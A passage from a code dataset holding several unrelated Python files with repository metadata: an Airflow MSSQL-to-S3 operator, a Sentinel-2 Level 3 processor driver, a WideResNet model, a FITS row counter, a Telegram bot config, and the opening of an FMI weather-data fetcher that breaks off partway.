'FLOAT',\n 'money': 'FLOAT',\n 'datetime': 'TIMESTAMP',\n 'bit': 'BOOLEAN',\n 'char': 'VARCHAR',\n 'tinyint': 'INTEGER',\n 'smalldatetime': 'TIMESTAMP',\n 'real': 'FLOAT'\n }\n return {v: maps[schema[v]] for v in schema}\n\n def build_fetch_query(self, hook):\n # Builds the part of the fetch query with the incremental_key\n\n logging.info('Initiating record retrieval.')\n logging.info('Start Date: {0}'.format(self.start))\n logging.info('End Date: {0}'.format(self.end))\n\n if all([self.incremental_key, self.start, self.end]):\n query_filter = \"\"\" WHERE {0} >= '{1}' AND {0} < '{2}'\n \"\"\".format(self.incremental_key, self.start, self.end)\n\n if all([self.incremental_key, self.start]) and not self.end:\n query_filter = \"\"\" WHERE {0} >= '{1}'\n \"\"\".format(self.incremental_key, self.start)\n\n if not self.incremental_key:\n query_filter = ''\n\n if self.batchsize:\n self.get_records_batch(hook, query_filter)\n else:\n self.get_records_all(hook, query_filter)\n\n def get_records_all(self, hook, query_filter):\n query = \\\n \"\"\"\n SELECT *\n FROM {0}\n {1}\n \"\"\".format(self.mssql_table, query_filter)\n\n # Perform query and convert returned tuple to list\n results = list(hook.get_records(query))\n logging.info('Successfully performed query.')\n logging.info('QUERY:')\n results = [dict([k.lower(), str(v)] if v is not None else [k, v]\n for k, v in i.items()) for i in results]\n results = '\\n'.join([json.dumps(i) for i in results])\n self.s3_upload(results)\n return results\n\n def get_records_batch(self, hook, query_filter):\n # Chunks the records and streams to s3 by specified batchsize.\n\n if query_filter == '':\n query_filter = 'WHERE'\n else:\n query_filter = query_filter + ' AND '\n\n count_sql_max = \"\"\"\n SELECT max({0}) as c FROM {1} \"\"\".format(\n self.primary_key,\n self.mssql_table)\n\n count_sql_min = \"\"\"\n SELECT min({0}) as c FROM {1} \"\"\".format(\n self.primary_key,\n self.mssql_table)\n\n if query_filter != 'WHERE':\n # Remove the AND from the query filter so you're only batching\n # for incremental loads within your timerange. Assumes primary_key\n # is incremental.\n count_sql_max += query_filter.split(\"AND\")[0]\n count_sql_min += query_filter.split(\"AND\")[0]\n\n count = hook.get_pandas_df(count_sql_max)['c'][0]\n min_count = hook.get_pandas_df(count_sql_min)['c'][0]\n\n s3_conn = BaseHook('S3').get_connection(self.s3_conn_id)\n s3_creds = s3_conn.extra_dejson\n\n s3_key = '{}/{}'.format(\n self.s3_bucket,\n self.s3_key\n )\n\n url = 's3://{}:{}@{}'.format(\n s3_creds['aws_access_key_id'],\n s3_creds['aws_secret_access_key'],\n s3_key\n )\n\n logging.info('Initiating record retrieval in batches.')\n logging.info('Start Date: {0}'.format(self.start))\n logging.info('End Date: {0}'.format(self.end))\n logging.info('smallest_number: {0}'.format(min_count))\n logging.info('count: {0}'.format(count))\n\n # Smart Open is a library for efficiently streaming large files to S3.\n # Streaming data to S3 here so it doesn't break the task container.\n # https://pypi.python.org/pypi/smart_open\n # Does this here because smart_open doesn't yet support an\n # append mode and doing it as a function was causing the file to be\n # overwritten every time.\n\n with smart_open.smart_open(url, 'wb') as fout:\n logging.info(\"First Row {0}\".format(min_count)),\n logging.info(\"Total Rows: {0}\".format(count))\n logging.info(\"Batch Size: {0}\".format(self.batchsize))\n for batch in range(min_count, count, self.batchsize):\n query = \\\n \"\"\"\n SELECT *\n FROM {table}\n {query_filter} {primary_key} >= {batch}\n AND {primary_key} < {batch_two};\n \"\"\".format(count=count,\n table=self.mssql_table,\n primary_key=self.primary_key,\n query_filter=query_filter,\n batch=batch,\n batch_two=batch + self.batchsize)\n\n logging.info(query)\n\n # Perform query and convert returned tuple to list\n results = list(hook.get_records(query))\n logging.info('Successfully performed query for batch {0}-{1}.'\n .format(batch, (batch + self.batchsize)))\n\n results = [dict([k.lower(), str(v)] if v is not\n None else [k, v]\n for k, v in i.items()) for i in results]\n results = '\\n'.join([json.dumps(i) for i in results])\n # Write the results to bytes.\n results = results.encode('utf-8')\n logging.info(\"Uploading!\")\n fout.write(results)\n\n def s3_upload(self, results, schema=False):\n s3 = S3Hook(s3_conn_id=self.s3_conn_id)\n key = '{0}'.format(self.s3_key)\n\n file_name = os.path.splitext(key)[0]\n file_extension = os.path.splitext(key)[1]\n # If the file being uploaded to s3 is a schema, append \"_schema\" to the\n # end of the file name.\n if schema and file_extension == '.json':\n key = file_name + '_schema' + file_extension\n if schema and file_extension == '.csv':\n key = file_name + '_schema' + file_extension\n s3.load_string(\n string_data=results,\n bucket_name=self.s3_bucket,\n key=key,\n replace=True\n )\n\n s3.connection.close()\n logging.info('File uploaded to s3')\n", "repo_name": "airflow-plugins/mssql_plugin", "sub_path": "operators/mssql_to_s3_operator.py", "file_name": "mssql_to_s3_operator.py", "file_ext": "py", "file_size_in_byte": 11384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "airflow.models.BaseOperator", "line_number": 14, "usage_type": "name"}, {"api_name": "airflow.utils.decorators.apply_defaults", "line_number": 61, "usage_type": "name"}, {"api_name": "mssql_plugin.hooks.astro_mssql_hook.AstroMsSqlHook", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 96, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 98, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 115, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 116, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 142, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 143, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 144, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 173, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 176, "usage_type": "call"}, {"api_name": "airflow.hooks.base_hook.BaseHook", "line_number": 208, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 222, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 223, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 224, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 225, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 226, "usage_type": "call"}, {"api_name": "smart_open.smart_open", "line_number": 235, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 236, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 237, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 238, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 253, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 257, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 263, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 266, "usage_type": "call"}, {"api_name": "airflow.hooks.S3_hook.S3Hook", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path", "line_number": 273, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path", "line_number": 274, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 289, "usage_type": "call"}]} {"seq_id": "73998486303", "text": "#!/usr/bin/env python\n# -*- coding: iso-8859-15 -*-\nprocessorName = 'Sentinel-2 Level 3 Prototype Processor (SEN2THREE)'\nprocessorVersion = '1.0.0'\nprocessorDate = '2015.09.15'\nproductVersion = '13'\n\nfrom tables import *\nimport sys, os, shutil\nimport fnmatch\nfrom time import time\n\nfrom L3_Config import L3_Config\nfrom L2A_Tables import L2A_Tables\nfrom L3_Tables import L3_Tables\nfrom L3_Product import L3_Product\nfrom L2A_Process import L2A_Process\nfrom L3_Synthesis import L3_Synthesis\nfrom L3_Library import stdoutWrite, stderrWrite\n\n\nclass L3_Process(object):\n ''' The main processor module, which coordinates the interaction between the other modules.\n \n :param config: the config object for the current tile (via __init__)\n :type config: a reference to the config object\n \n '''\n def __init__(self, config):\n ''' Perform the L3 base initialisation.\n \n :param config: the config object for the current tile\n :type config: a reference to the config object\n \n '''\n\n self._config = config\n self._l3Synthesis = L3_Synthesis(config)\n\n def get_tables(self):\n return self._tables\n\n\n def set_tables(self, value):\n self._tables = value\n\n\n def del_tables(self):\n del self._tables\n\n\n def get_config(self):\n return self._config\n\n\n def set_config(self, value):\n self._config = value\n\n\n def del_config(self):\n del self._config\n\n\n def __exit__(self):\n sys.exit(-1)\n\n config = property(get_config, set_config, del_config)\n tables = property(get_tables, set_tables, del_tables)\n\n def process(self, tables):\n ''' Perform the L3 processing.\n \n :param tables: the table object for the current tile\n :type tables: a reference to the table object\n :return: true if processing succeeds, false else\n :rtype: bool\n \n '''\n self._tables = tables\n astr = 'L3_Process: processing with resolution ' + str(self.config.resolution) + ' m'\n self.config.timestamp(astr)\n self.config.timestamp('L3_Process: start of Pre Processing')\n if(self.preprocess() == False):\n return False\n \n self.config.timestamp('L3_Process: start of Spatio Temporal Processing')\n self.config.logger.info('Performing Spatio Temporal Processing with resolution %d m', self.config.resolution)\n if(self._l3Synthesis.process(self._tables) == False):\n return False\n\n # append processed tile to list\n processedTile = self.config.product.L2A_TILE_ID + '_' + str(self.config.resolution) + '\\n'\n processedFn = self.config.sourceDir + '/' + 'processed'\n try:\n f = open(processedFn, 'a')\n f.write(processedTile)\n f.flush()\n f.close()\n except:\n stderrWrite('Could not update processed tile history.\\n')\n self.config.exitError()\n return False \n return True\n \n def preprocess(self):\n ''' Perform the L3 pre processing,\n currently empty.\n '''\n self.config.logger.info('Pre-processing with resolution %d m', self.config.resolution)\n return True\n\n def postprocess(self):\n ''' Perform the L3 post processing,\n triggers the export of L3 product, tile metadata and bands\n \n :return: true if export succeeds, false else.\n :rtype: bool\n\n '''\n\n self.config.timestamp('L3_Process: start of Post Processing')\n self.config.logger.info('Post-processing with resolution %d m', self.config.resolution)\n\n GRANULE = self.config.targetDir + '/' + self.config.product.L3_TARGET_ID + '/GRANULE'\n tilelist = sorted(os.listdir(GRANULE))\n L3_TILE_MSK = 'S2A_*_TL_*'\n res = False\n for tile in tilelist:\n if fnmatch.fnmatch(tile, L3_TILE_MSK) == False:\n continue\n res = self.tables.exportTile(tile)\n if(self.config.resolution == 60):\n self.config.product.postprocess()\n if res == False:\n return res\n res = self.tables.createPreviewImage('L3')\n if res == False:\n return res\n return self._l3Synthesis.postProcessing()\n\ndef main(args=None):\n ''' Processes command line,\n initializes the config and product modules and starts sequentially\n the L2A and L3 processing.\n '''\n import argparse\n descr = processorName +', '+ processorVersion +', created: '+ processorDate + \\\n ', supporting Level-1C product version: ' + productVersion + '.'\n \n parser = argparse.ArgumentParser(description=descr)\n parser.add_argument('directory', help='Directory where the Level-2A input files are located')\n parser.add_argument('--resolution', type=int, choices=[10, 20, 60], help='Target resolution, must be 10, 20 or 60 [m]')\n parser.add_argument('--clean', action='store_true', help='Removes all processed files in target directory. Be careful!')\n args = parser.parse_args()\n\n # SIITBX-49: directory should not end with '/':\n directory = args.directory\n if directory[-1] == '/':\n directory = directory[:-1]\n\n # check if directory argument starts with a relative path. If not, expand: \n if(os.path.isabs(directory)) == False:\n cwd = os.getcwd()\n directory = os.path.join(cwd, directory)\n elif os.path.exists(args.directory) == False:\n stderrWrite('directory \"%s\" does not exist\\n.' % args.directory)\n return False\n\n if args.resolution == None:\n resolution = 60\n else:\n resolution = args.resolution\n\n config = L3_Config(resolution, directory)\n config.init(processorVersion)\n processedTiles = ''\n result = False\n processedFn = directory + '/' + 'processed'\n \n if args.clean:\n stdoutWrite('Cleaning target directory ...\\n') \n try:\n shutil.rmtree(config.targetDir)\n except:\n pass\n try:\n os.remove(processedFn)\n except:\n stdoutWrite('No history file present ...\\n') \n \n HelloWorld = processorName +', '+ processorVersion +', created: '+ processorDate\n stdoutWrite('\\n%s started ...\\n' % HelloWorld) \n upList = sorted(os.listdir(directory))\n \n # Check if unprocessed L1C products exist. If yes, process first:\n L1C_mask = 'S2?_*L1C_*'\n product = L3_Product(config)\n processor = L2A_Process(config)\n for L1C_UP_ID in upList:\n if(fnmatch.fnmatch(L1C_UP_ID, L1C_mask) == False): \n continue\n if config.checkTimeRange(L1C_UP_ID) == False:\n continue\n tilelist = product.createL2A_UserProduct(L1C_UP_ID)\n for tile in tilelist:\n # process only L1C tiles:\n if fnmatch.fnmatch(tile, L1C_mask) == False:\n continue\n # ignore already processed tiles:\n if product.tileExists(tile) == True:\n continue\n # finally, process the remaining tiles:\n stdoutWrite('\\nL1C tile %s found, will be classified first ...\\n' % tile) \n tStart = time()\n tables = L2A_Tables(config, tile)\n if processor.process(tables) == False:\n config.exitError()\n return False\n tile += '_' + str(config.resolution)\n if product.appendTile(tile) == False:\n config.exitError()\n return False \n \n # Now process all unprocessed L2A products:\n L2A_mask = 'S2?_*L2A_*' \n processor = L3_Process(config)\n for L2A_UP_ID in upList:\n if(fnmatch.fnmatch(L2A_UP_ID, L2A_mask) == False): \n continue\n if config.checkTimeRange(L2A_UP_ID) == False:\n continue\n \n config.updateUserProduct(L2A_UP_ID) \n GRANULE = directory + '/' + L2A_UP_ID + '/GRANULE'\n tilelist = sorted(os.listdir(GRANULE))\n for tile in tilelist:\n # process only L2A tiles:\n if fnmatch.fnmatch(tile, L2A_mask) == False:\n continue\n # ignore already processed tiles:\n if product.tileExists(tile):\n continue\n tStart = time()\n nrTilesProcessed = product.getNrTilesProcessed(tile)\n config.updateTile(tile, nrTilesProcessed)\n tables = L3_Tables(config)\n tables.init()\n # no processing if first initialisation:\n # check existence of Bands - B2 is always present:\n if tables.testBand('L2A', 2) == False:\n # append processed tile to list\n tile += '_' + str(config.resolution)\n if product.appendTile(tile) == False:\n config.exitError()\n continue\n result = processor.process(tables)\n if(result == False):\n stderrWrite('Application terminated with errors, see log file and traces.\\n')\n return False\n\n tMeasure = time() - tStart\n config.writeTimeEstimation(resolution, tMeasure)\n\n if result == True:\n result = processor.postprocess()\n if(result == False):\n stderrWrite('Application terminated with errors, see log file and traces.\\n')\n return False\n \n stdoutWrite('\\nApplication terminated successfully.\\n')\n return result\n\nif __name__ == \"__main__\":\n sys.exit(main() or 0)\n", "repo_name": "kkozarev/SEN2THREE", "sub_path": "sen2three/L3_Process.py", "file_name": "L3_Process.py", "file_ext": "py", "file_size_in_byte": 9623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "L3_Synthesis.L3_Synthesis", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}, {"api_name": "L3_Library.stderrWrite", "line_number": 100, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 125, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 129, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path.isabs", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "L3_Library.stderrWrite", "line_number": 166, "usage_type": "call"}, {"api_name": "L3_Config.L3_Config", "line_number": 174, "usage_type": "call"}, {"api_name": "L3_Library.stdoutWrite", "line_number": 181, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 183, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 187, "usage_type": "call"}, {"api_name": "L3_Library.stdoutWrite", "line_number": 189, "usage_type": "call"}, {"api_name": "L3_Library.stdoutWrite", "line_number": 192, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 193, "usage_type": "call"}, {"api_name": "L3_Product.L3_Product", "line_number": 197, "usage_type": "call"}, {"api_name": "L2A_Process.L2A_Process", "line_number": 198, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 200, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 207, "usage_type": "call"}, {"api_name": "L3_Library.stdoutWrite", "line_number": 213, "usage_type": "call"}, {"api_name": "time.time", "line_number": 214, "usage_type": "call"}, {"api_name": "L2A_Tables.L2A_Tables", "line_number": 215, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 228, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 235, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 238, "usage_type": "call"}, {"api_name": "time.time", "line_number": 243, "usage_type": "call"}, {"api_name": "L3_Tables.L3_Tables", "line_number": 246, "usage_type": "call"}, {"api_name": "tables.init", "line_number": 247, "usage_type": "call"}, {"api_name": "tables.testBand", "line_number": 250, "usage_type": "call"}, {"api_name": "L3_Library.stderrWrite", "line_number": 258, "usage_type": "call"}, {"api_name": "time.time", "line_number": 261, "usage_type": "call"}, {"api_name": "L3_Library.stderrWrite", "line_number": 267, "usage_type": "call"}, {"api_name": "L3_Library.stdoutWrite", "line_number": 270, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 274, "usage_type": "call"}]} {"seq_id": "37409095052", "text": "import torch.nn as nn\n\nfrom nupic.torch.modules import Flatten, KWinners2d\n\n# import torch\n# from torchsummary import summary\n\n\n__all__ = [\n \"wide_conv3x3\",\n \"WideBasic\",\n \"WideResNet\",\n]\n\n\ndef wide_conv3x3(in_planes, out_planes, stride=1):\n return nn.Conv2d(\n in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=True\n )\n\n\nclass WideBasic(nn.Module):\n def __init__(\n self, in_planes, planes, dropout_rate, stride=1, activation_func=nn.ReLU\n ):\n super(WideBasic, self).__init__()\n\n self.regular_path = nn.Sequential(\n nn.BatchNorm2d(in_planes),\n activation_func(in_planes),\n nn.Conv2d(in_planes, planes, kernel_size=3, padding=1, bias=True),\n nn.Dropout(p=dropout_rate),\n nn.BatchNorm2d(planes),\n activation_func(planes),\n nn.Conv2d(\n planes, planes, kernel_size=3, stride=stride, padding=1, bias=True\n ),\n )\n\n # resnet shortcut\n self.shortcut = nn.Sequential()\n # never for the first layer\n if stride != 1 or in_planes != planes:\n self.shortcut = nn.Sequential(\n nn.Conv2d(in_planes, planes, kernel_size=1, stride=stride, bias=True)\n )\n\n def forward(self, x):\n\n out = self.regular_path(x)\n out += self.shortcut(x)\n # TODO: no activation function after shortcut? verify\n return out\n\n\nclass WideResNet(nn.Module):\n \"\"\"\n Config hyperparamaters:\n - Batch norm is not optional\n - Dropout is one single rate, applied at all layers\n - Depth and widen_factor are specific to wide resnet architecture\n \"\"\"\n\n def __init__(self, config=None):\n super(WideResNet, self).__init__()\n\n # update config\n defaults = dict(\n depth=28,\n widen_factor=2,\n num_classes=10,\n dropout_rate=0.3,\n percent_on_k_winner=1.0,\n boost_strength=1.4,\n boost_strength_factor=0.7,\n k_inference_factor=1.0,\n )\n defaults.update(config or {})\n self.__dict__.update(defaults)\n\n # adds kwinners\n for attr in [\n \"percent_on_k_winner\",\n \"boost_strength\",\n \"boost_strength_factor\",\n \"k_inference_factor\",\n ]:\n if type(self.__dict__[attr]) == list:\n raise ValueError(\n \"\"\"ResNet currently supports only single\n percentage of activations for KWinners layers\"\"\"\n )\n\n if self.percent_on_k_winner < 0.5:\n self.activation_func = lambda out: self._kwinners(out)\n else:\n self.activation_func = lambda _: nn.ReLU()\n\n self.in_planes = 16\n\n assert (self.depth - 4) % 6 == 0, \"Wide-resnet depth should be 6n+4\"\n n = int((self.depth - 4) / 6) # 28-4/6 = 4\n k = self.widen_factor\n\n print(\"| Wide-Resnet %dx%d\" % (self.depth, k))\n n_stages = [16, 16 * k, 32 * k, 64 * k]\n\n self.features = nn.Sequential(\n wide_conv3x3(3, n_stages[0]),\n self._make_wide_layer(\n WideBasic, n_stages[1], n, self.dropout_rate, stride=1\n ), # 4x2 (2 convs each)\n self._make_wide_layer(\n WideBasic, n_stages[2], n, self.dropout_rate, stride=2\n ), # 4x2\n self._make_wide_layer(\n WideBasic, n_stages[3], n, self.dropout_rate, stride=2\n ), # 4x2\n nn.BatchNorm2d(n_stages[3], momentum=0.9),\n self.activation_func(n_stages[3]),\n nn.AdaptiveAvgPool2d((1, 1)),\n Flatten(),\n )\n\n self.classifier = nn.Linear(n_stages[3], self.num_classes) # 1\n\n # where are the other 2?\n\n def _kwinners(self, out):\n return KWinners2d(\n out,\n percent_on=self.percent_on_k_winner,\n boost_strength=self.boost_strength,\n boost_strength_factor=self.boost_strength_factor,\n k_inference_factor=self.k_inference_factor,\n )\n\n def _make_wide_layer(self, block, planes, num_blocks, dropout_rate, stride):\n # first one can define stride - downsampling\n # others are always 1\n strides = [stride] + [1] * (num_blocks - 1)\n layers = []\n\n # will be the size of N. In WideResnet28, will be 4\n for stride in strides:\n layers.append(\n block(\n self.in_planes, planes, dropout_rate, stride, self.activation_func\n )\n )\n self.in_planes = planes\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n\n out = self.features(x)\n out = self.classifier(out)\n return out\n\n\n# net=WideResNet(config=dict(\n# depth=28,\n# widen_factor=10,\n# num_classes=10,\n# dropout_rate=0.3)\n# )\n# summary(net, input_size=(3,32,32))\n", "repo_name": "numenta/nupic.research", "sub_path": "packages/archive/src/nupic/research/archive/dynamic_sparse/networks/wideresnet.py", "file_name": "wideresnet.py", "file_ext": "py", "file_size_in_byte": 4977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 96, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Conv2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 121, "usage_type": "name"}, {"api_name": "nupic.torch.modules.Flatten", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 125, "usage_type": "name"}, {"api_name": "nupic.torch.modules.KWinners2d", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}]} {"seq_id": "5667304526", "text": "import numpy as np\nimport astropy.io.fits as fits\n# === This scripts counts the amount of rows in two fit tables and appends|\n# them in two separate files. These two fit files are suposed to be the |\n# result of matching (correlating) two fit files with the \"best\" and the |\n# \"all\" options using topcat or stilts. ================================= |\nprint(\"Counting the amount of rows in the tables.\")\n# --- Open the two fit tables\nmatchBest=fits.open('matchBest')\nBestArray=matchBest[1].data\nmatchAll=fits.open('matchAll')\nAllArray=matchAll[1].data\n# --- Write the amount of rows in the files.\nfile=open(\"cumulative.txt\",'a')\nfile.write(str(len(BestArray))+\",\"+str(len(AllArray))+\"\\n\")\nfile.close()\n# --- Done.\nprint(\"Done.\")\n# --- DONE.", "repo_name": "mcbernadich/PoCaS-ULX", "sub_path": "rowCounter.py", "file_name": "rowCounter.py", "file_ext": "py", "file_size_in_byte": 742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "astropy.io.fits.open", "line_number": 9, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 9, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 11, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 11, "usage_type": "name"}]} {"seq_id": "22284671928", "text": "#\n# Müəllif hüququ (C) 2021-2022 by offlineflood@Github, < https://github.com/ChatBot >.\n#\n# Bu faylın bir hissəsidir < https://github.com/offlineflood/ChatBot > layihə,\n# və \"GNU v3.0 Lisenziya Müqaviləsi\" əsasında buraxılır\".\n# Zəhmət olmasa baxın < https://github.com/offlineflood/ChatBot/blob/master/LICENSE >\n#\n# Bütün hüquqlar qorunur.\n#\n\nfrom os import getenv\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n# my.telegram.org saytından əldə edin.\nAPI_ID = int(getenv(\"API_ID\"))\nAPI_HASH = getenv(\"API_HASH\")\n\n## Telegram-da @Botfather-dən əldə edin.\nBOT_TOKEN = getenv(\"BOT_TOKEN\")\n\n# SUDO İSTİFADƏÇİLƏRİ\nSUDO_USER = list(\n map(int, getenv(\"SUDO_USER\", \"\").split())\n) # Daxiletmə növü tam ədəd olmalıdır.\n\n# Bunun üçün Şəxsi Qrup ID-sinə ehtiyacınız olacaq.\nLOG_GROUP_ID = int(getenv(\"LOG_GROUP_ID\"))\n\n# Kimsə botunuzu işə saldıqda göstəriləcək mesaj.\nPRIVATE_START_MESSAGE = getenv(\n \"PRIVATE_START_MESSAGE\",\n \"Hello! Welcome to my Personal Assistant Bot\",\n)\n\n# Söhbətlərinizi və statistikalarınızı saxlamaq üçün verilənlər bazası... MongoDB əldə edin:- https://offline.gitbook.io/ChatBot/deployment/mongodb#4.-youll-see-a-deploy-cloud-database-option.-please-select-shared-hosting-under-free-plan-here\nMONGO_DB_URI = getenv(\"MONGO_DB_URI\", None)\n", "repo_name": "offlineflood/ChatBot", "sub_path": "config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 1337, "program_lang": "python", "lang": "az", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 19, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 26, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 33, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 39, "usage_type": "call"}]} {"seq_id": "36082612667", "text": "import sys, os\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nfrom fmiopendata.wfs import download_stored_query\nfrom fmiopendata.utils import read_url\n#import xml.etree.ElementTree as ET\nfrom lxml import etree\n\ndef enablePrint():\n sys.stdout = sys.__stdout__\n\ndef get_places():\n\n xml = read_url(\"http://opendata.fmi.fi/wfs?service=WFS&version=2.0.0&request=getFeature&storedquery_id=fmi::ef::stations\")\n #stree = etree.parse(xml)\n #root = ET.fromstring(xml)\n root = etree.fromstring(xml)\n locations = dict()\n for name in root.findall('.//{http://www.opengis.net/gml/3.2}name'):\n if name.attrib['codeSpace'] == 'http://xml.fmi.fi/namespace/locationcode/name':\n city = name.text.split(' ', 1)[0]\n id = name.getparent().find('.//{http://www.opengis.net/gml/3.2}identifier').text\n try:\n place = name.text.split(' ', 1)[1]\n except:\n place = ''\n if city in locations:\n locations[city].append((place,id))\n else:\n locations[city] = [(place, id)]\n\n #res = np.empty([1, 2])\n\n #for c in cities:\n # x = np.array(locations[c]).reshape(len(locations[c]),1)\n # y = np.broadcast_to([c], (len(locations[c]),1))\n # r = np.hstack((x,y))\n # res = np.vstack((res,r))\n\n return locations #res[1:,:]\n\n \n\ndef get_daily_obs(cities, places):\n\n # Retrieve the last 10 days daily observations + todays latest 10h observation\n end_time = dt.datetime.utcnow() - dt.timedelta(days=1)\n start_time = end_time - dt.timedelta(days=10)\n # Convert times to properly formatted strings\n start_time = start_time.isoformat(timespec=\"seconds\") + \"Z\"\n end_time = end_time.isoformat(timespec=\"seconds\") + \"Z\"\n\n df = pd.DataFrame({'city': [],'Precipitation amount' : [], 'Air temperature' : [], 'Snow depth' : [], 'Minimum temperature' : [], 'Maximum temperature' : [], 'Ground minimum temperature' : [],})\n\n for c in cities:\n plcs = 